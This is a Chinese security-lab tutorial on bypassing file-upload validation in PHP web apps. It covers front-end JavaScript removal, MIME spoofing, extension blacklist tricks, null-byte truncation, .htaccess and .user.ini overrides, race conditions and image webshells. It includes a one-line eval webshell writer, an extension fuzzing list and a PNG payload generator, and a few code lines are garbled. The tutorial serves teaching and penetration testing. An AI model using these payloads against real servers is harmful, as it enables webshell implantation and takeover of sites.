“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。
本文篇幅较长共11848字,预计阅读时间30分钟。
文件上传利用绕过方式总结
目录
1. 前端验证
1.1 修改前端 javascript 文件将限制代码去掉
1.2 传参过程中抓包修改后缀
1.3 前端禁用 javascript 脚本
2. 后端验证
2.1 基于 MIME 校验
2.1.1 校验 content-type 请求头
2.1.2 修改文件后缀
2.2 基于后缀绕过
2.2.1 黑名单验证绕过
2.2.1.1 针对 windows 系统绕过
2.2.1.1.1 使用其他可执行并且未限制的后缀名
2.2.1.1.2 大小写混合绕过
2.2.1.1.3 文件名双写绕过
2.2.1.1.4 末尾添加 . 绕过
2.2.1.1.5 末尾添加空格绕过
2.2.1.1.6 末尾添加 ::$DATA 绕过
2.2.1.1.7 00截断上传
2.2.1.1.8 .access 文件(.htaccess&.user.ini)
2.2.1.1.9 条件竞争绕过
2.2.1.1.10 上传图片马配合文件解析漏洞绕过
2.2.1.2 针对 linux 系统绕过
2.2.1.2.1 使用其他可执行并且未限制的后缀名
2.2.1.2.2 文件名双写绕过
2.2.1.2.3 00截断上传绕过
2.2.1.2.4 .access 文件(.htaccess&.user.ini)
2.2.1.2.5 条件竞争绕过
2.2.1.2.6 上传图片马配合文件解析漏洞绕过
2.2.2 白名单验证绕过
2.2.2.1 上传图片马配合文件解析漏洞绕过
2.2.2.2 .access 文件(.htaccess&.user.ini)
2.3 基于文件内容验证
2.3.1 上传图片马配合文件解析漏洞绕过
正文
前端验证的概念是与后端验证所区分而来,所谓前端文件验证,即是在文件正式开始上传之前,例如利用 javascript 脚本,对文件进行白名单或黑名单过滤,符合规则即可以向服务器上传,不符合则拒绝上传。常规的 javascript 限制上传文件后缀代码:
<script language="JavaScript" type="text/javascript">
function check() {
var aa = document.getElementById("userfile").value.toLowerCase().split('.');
if(document.form1.userfile.value == "") {
alert('图片不能为空!');
return false;
} else {
if(aa[aa.length - 1] == 'gif' || aa[aa.length - 1] == 'jpg' || aa[aa.length - 1] == 'bmp' || aa[aa.length - 1] == 'png' || aa[aa.length - 1] == 'jpeg')
{
var imagSize = document.getElementById("userfile").files[0].size;
alert("图片大小:" + imagSize + "B")
if(imagSize < 1024 * 1024 * 3)
alert("图片大小在3M以内,为:" + imagSize (1024 * 1024) + "M");
return true;
} else {
alert('请选择格式为*.jpg、*.gif、*.bmp、*.png、*.jpeg 的图片');
return false;
}
}
}
</script>
虽然使用 javascript 脚本对上传的文件进行里过滤,但是由于 javascript 代码放在前端,这就意味着 javascript 可以在客户端直接被修改,所以我们可以在浏览器直接按“F12”查看页面代码并进行编辑,那么就可以把限制代码改掉。
可以不修改 javascript 代码,例如制作一个简单的 php webshell ,再将 webshell 的后缀改成符合 javascript 的 png 后缀,上传文件,再使用 burpsuite 抓取数据包(此时文件已经通过了前端 javascript 校验,正准备上传到服务器),将文件后缀再改成 php 文件,此时上传的即时 php 的 webshell ,并且成功绕过前端 javascript 验证。
Webshell 就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
既然是前端 javascript 验证,我们又能修改 javascript 脚本,如果不会修改,那就可以直接把 javascript 全部删掉,这样既没有了 javascript 限制,也不影响上传代码成功执行,即可达到目的。
后端即是服务器,当文件上传到服务器之后,再进行校验匹配文件是否符合规则,符合则保留,不符合就删除。
什么是MIME?
MIME && MIME 邮件
MIME, 全称为“Multipurpose Internet Mail Extensions”, 比较确切的中文名称为“多用途互联网邮件扩展”。它是当前广泛应用的一种电子邮件技术规范,基本内容定义于RFC 2045-2049。
自然,MIME邮件就是符合MIME规范的电子邮件,或者说根据MIME规范编码而成的电子邮件。
在MIME出台之前,使用RFC 822只能发送基本的ASCII码文本信息,邮件内容如果要包括二进制文件、声音和动画等,实现起来非常困难。MIME提供了一种可以在邮件中附加多种不同编码文件的方法,弥补了原来的信息格式的不足。实际上不仅仅是邮件编码,现在MIME经成为HTTP协议标准的一个部分。MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。
MIME 类型简介:
MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。官方的。
MIME 信息是由 Internet Engineering Task Force (IETF) 在下面的文档中提供的:
RFC-822 Standard for ARPA Internet text messages
RFC-2045 MIME Part 1: Format of Internet Message Bodies
RFC-2046 MIME Part 2: Media Types
RFC-2047 MIME Part 3: Header Extensions for Non-ASCII Text
RFC-2048 MIME Part 4: Registration Procedures
RFC-2049 MIME Part 5: Conformance Criteria and Examples
常见的 MIME 类型:
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
完整的 MIME 格式类型参考:
https://www.w3school.com.cn/media/media_mimeref.asp
当文件上传时利用 MIME 类型匹配文件类型时候符合要求,符合则通过不符合再拒绝。以下是基于 content-type 请求头限制的一部分 php 代码。
<?php
if($_FILES['userfile']['type'] != "image/gif") #这里对上传的文件类型进行判断,如果不是image/gif类型便返回错误。
{
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
}
else
{
echo "File uploading failed.\n";
}
?>
像这样的只允许上传 image/gif 格式文件,也就是 gif 格式文件,可以在上传文件是抓包并修改该 MIME 文件类型即可上传成功。
原理与上述一样,不过抓包中修改的位置不同,此处直接抓包修改文件后缀名即可。
最容易理解的一种绕过方式,只要可以突破上传点没有限制到的后缀名即可上传成功。
举例几种常见的后缀名:
".php",".php5",".php4",
".php3",".php2","php1",
".html",".htm",".phtml",
".pHp",".pHp5",".pHp4",
在测试上传点时,只要上传点忽略了其中一点,我们就可以上传马儿。
至于如何知晓哪些后缀没有被限制,可以使用 burpsuite 批量上传来测试后缀名。
首先随意抓取一个 request 请求包发送给 intrude:
接着添加以下 payload 并开始攻击:
php
php7
php5
php4
php3
php2
php1
html
htm
phtml
pHp
Php
phP
pHp5
pHp4
pHp3
pHp2
pHp1
可以看到除了 response 长度为 5299 的包之外的其他包全部上传成功,知道里那些后缀可以上传之后我们在构造我的的马儿。
以此来判断哪些后缀可以上传,然后再去构造马儿即可。
黑名单 & 白名单
这里的黑名单白名单指在上传点的限制方式,黑名单例如仅拒绝 xxx 格式上传,只要上传的内容不是 xxx 格式,文件均可以上传到服务器,对应的白名单即为仅允许上传 yyy 格式,只要不是 yyy 格式的文件全部拒绝上传。
上传点的服务器可能是 windows 或者 linux 系统,但是针对不同的操作系统有着不同的可绕过方式,我们先来看针对 windows 服务器的可绕过方式。
该上传思路即为“没限制什么后缀就上传什么后缀”,可以使用之前的 burpsuite 测试后缀的方式测试可以上传哪些后缀,再构造相应马儿即可。
windows 系统中的特性,文件的文件名大小写组合也可以运行,是不区分大小写的,所以在一些上传点中,例如黑名单禁止 x.php 上传,就可以构造 x.Php 等文件,上传到服务器之后 x.Php 在 windows 系统中仍然会以 php 文件来处理执行。
例如这样的限制代码:
$file_name = str_ireplace($deny_ext,"", $file_name);
直接使用双写绕过就行 x.pphphp ,最后生成 x.php 文件。
在某些环境中可以使用 x.php. 文件绕过上传,文件上传到 windows 服务器后,会根据 windows 特有的机制在保存文件是将文件结尾的 . 去掉,这样既绕过里上传限制,也保存下来里 x.php 文件(结尾加 . 可以与双写或大小写混用,但是仅限 windows 系统)。
上传文件是使用 burpsuite 抓包在结尾处添加空格即可,windows 会在保存文件时将空格去掉。
Windows ::$DATA alternate data stream
The NTFS file system includes support for alternate data streams. This is not a well known feature and was included, primarily, to provide compatibility with files in the Macintosh file system.
Alternate data streams allow files to contain more than one stream of data. Every file has at least one data stream. In Windows, this default data stream is called ::$DATA.
总结来看 ::$DATA 是 windows 的 NTFS 文件系统中的一种机制,当文件名结尾为 ::$DATA 则触发,但是最终保存下来的文件名是不带 ::$DATA 的,从而绕过黑名单限制上传。
NTFS:
NTFS(英語:New Technology File System),是Microsoft公司开发的专用文件系统,从Windows NT 3.1开始成为Windows NT家族的标准文件系统。
NTFS取代FAT(文件分配表)和HPFS(高性能文件系统)并进行一系列改进,例如增强对元数据的支持,使用更高级的数据结构以提升性能、可靠性和磁盘空间利用率,并附带一系列增强功能,如访问控制列表(ACL)和文件系统日志。
00截断:
无论0x00还是%00,最终被解析后都是一个东西:chr(0) chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。
那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
这种情况常出现在ASP程序中,PHP 版本<5.3.4时也会有这个情况,JSP中也会出现。那么就可以知道00截断的原理了,在后缀中插入一个空字符(不是空格),会导致之后的部分被丢弃,而导致绕过的发生。如:在文件1.php.jpg中插入空字符变成:1.php.0x00.jpg中,解析后就会只剩下1.php,而空字符怎么插入的呢?通常我们会用Burp抓包后,在文件名插入一个空格,然后再HEX中找到空格对应的16进制编码“20”,把它改成00(即16进制ASCII码00,对应十进制的0),就可以插入空字符了。
PS:这里的空格纯粹只是一个标记符号,便于我们找到位置,其实这里是什么字符都无所谓,只不过空格比较有特异性,方便在HEX中查找位置。
00截断在 php 环境中需要满足以下要求,二者缺一不可。
php 版本小于 5.3.4
php的magic_quotes_gpc为OFF状态
这里的 .access 只是一个泛例,具体包括 .htaccess 和 .user.ini 等可造成解析漏洞的文件。
.htaccess:
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
可以编辑一个 .htaccess 文件写入以下内容上传至服务器:
SetHandler application/x-httpd-php
上传该文件后再上传图片马或其他文件,只要该文件有可执行的 php 代码,就可以执行 php 代码。
.user.ini :
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。两个新的 INI 指令,
user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
但是想要引发 .user.ini 解析漏洞需要三个前提条件。
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
先来创建一个 .user.ini 文件并写入一下内容:
auto_prepend_file=x.png
上传 .user.ini 后,再上传一个 x.png 文件,此时 x.png 文件只要有符合 php 语言的代码就会执行。
竞争条件原理介绍:
网站逻辑:
网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
例如:上传文件代码如下:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
先进行文件上传,后进行判断与删除。利用时间差进行webshell上传。
这里介绍两种图片马的制作和使用。
第一种:
比较简单,直接在图片格式的文件中加入 GIF89a 图片标识头(也可以修改hex:47 49 46 38 39 61):
GIF89a
<?php
phpinfo();
?>
将文件保存为 x.gif ,上传都服务器后需要配合文件包含漏洞来执行该代码。
文件包含:
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。PHP中文件包含函数有以下四种:
require()
require_once()
include()
include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
产生原因:
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
<?php
$filename = $_GET['filename'];
include($filename);
?>
第二种:
在某些 php 环境中会调用如 gd 库来验证上传是是否是图片文件,即使构造了一个图片文件,只要文件数据不符合图片标识数据,即拒绝上传,所以来看怎么构造一个符合图片标识数据的图片文件。
下列代码,可以制作符合图片标识的图片文件:
<?php
//png.php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y 3), 0, $color);
}
imagepng($img,'./pass17.png');
?>
使用:
zhzy@debian:~$ php payload.php file.png
file.png 是一张普通的 png 图片~
最终生成 pass17.png
生成之后的文件同样需要配合文件包含漏洞来利用。
linux 不同与 windows 有着对于文件的不同的处理方式,所以一些绕过方式在 windows 上适用但是在 linux 上并不使用,然后我们来看如果在 linux 系统上的上传点有哪些可绕过利用方式。
该上传思路即为“没限制什么后缀就上传什么后缀”,可以使用之前的 burpsuite 测试后缀的方式测试可以上传哪些后缀,再构造相应马儿即可。(关于如何得知哪些后缀名可上传另参 2.2 )。
文件名双写在 linux 系统中仍然有效,但是大小写组合是不生效的。
例如这样的限制代码:
$file_name = str_ireplace($deny_ext,"", $file_name);
直接使用双写绕过就行 x.pphphp ,最后生成 x.php 文件。
00截断:
无论0x00还是%00,最终被解析后都是一个东西:chr(0) chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。
那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。
这种情况常出现在ASP程序中,PHP 版本<5.3.4时也会有这个情况,JSP中也会出现。那么就可以知道00截断的原理了,在后缀中插入一个空字符(不是空格),会导致之后的部分被丢弃,而导致绕过的发生。如:在文件1.php.jpg中插入空字符变成:1.php.0x00.jpg中,解析后就会只剩下1.php,而空字符怎么插入的呢?通常我们会用Burp抓包后,在文件名插入一个空格,然后再HEX中找到空格对应的16进制编码“20”,把它改成00(即16进制ASCII码00,对应十进制的0),就可以插入空字符了。
PS:这里的空格纯粹只是一个标记符号,便于我们找到位置,其实这里是什么字符都无所谓,只不过空格比较有特异性,方便在HEX中查找位置。
00截断在 php 环境中需要满足以下要求,二者缺一不可。
php 版本小于 5.3.4
php的magic_quotes_gpc为OFF状态
另参:2.2.1.1.8
同样的原理绕过方式,配合解析漏洞,在 linux 环境中仍然适用,因为此类漏洞是 php 或者中间件造成的,操作系统不可控制该漏洞。
竞争条件原理介绍:
网站逻辑:
网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
例如:上传文件代码如下:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
先进行文件上传,后进行判断与删除。利用时间差进行webshell上传。
另参:2.2.1.1.10
黑名单 & 白名单
这里的黑名单白名单指在上传点的限制方式,黑名单例如仅拒绝 xxx 格式上传,只要上传的内容不是 xxx 格式,文件均可以上传到服务器,对应的白名单即为仅允许上传 yyy 格式,只要不是 yyy 格式的文件全部拒绝上传。
很显然白名单限制会比黑名单限制更为严格,黑名单只要没有限制完整即有可能上传,而白名单仅允许上传 xxx 文件,之外的一律拒绝。
所以相比于黑名单,白名单的绕过方式会少很多。
因为后缀已经严格限制死了,所以我们只能上传符合规则的图片文件,那么我们就可以利用图片马再配合文件包含或者文件解析漏洞来绕过。
如何生成该类图片文件另参:2.2.1.1.10
这里的 .access 只是一个泛例,具体包括 .htaccess 和 .user.ini 等可造成解析漏洞的文件。
具体利用方式另参:2.2.1.1.8
该限制方式既没有黑名单也没有白名单,而是靠识别上传的文件内容,符合图片标识数据则直接通过,反之则删除或拒绝,那么想要绕过的话需要我们制作符合图片文件标识的图片马。
如何制作符合图片标识的图片马另参:2.2.1.1.10
Reference
https://www.w3school.com.cn/media/media_mimeref.asp
http://www.rfc-editor.org/rfc/rfc822.txt
https://baike.baidu.com/item/MIME/2900607
https://baike.baidu.com/item/webshell
https://en.wikipedia.org/wiki/MIME
https://baike.baidu.com/item/htaccess
https://zh.wikipedia.org/zh/PHP
https://owasp.org/www-community/attacks/Windows_::DATA_alternate_data_stream
https://zh.wikipedia.org/wiki/.htaccess
https://github.com/c0ny1/upload-labs
https://freeerror.org/d/272-burpsuite-v2-0-11
License
声明
署名:CC BY-NC-SA 3.0 CN
文中所涉及的技术,思路和工具仅供以安全为目的的学习交流使用,请勿做非法用途否则后果自负。
点个关注悠~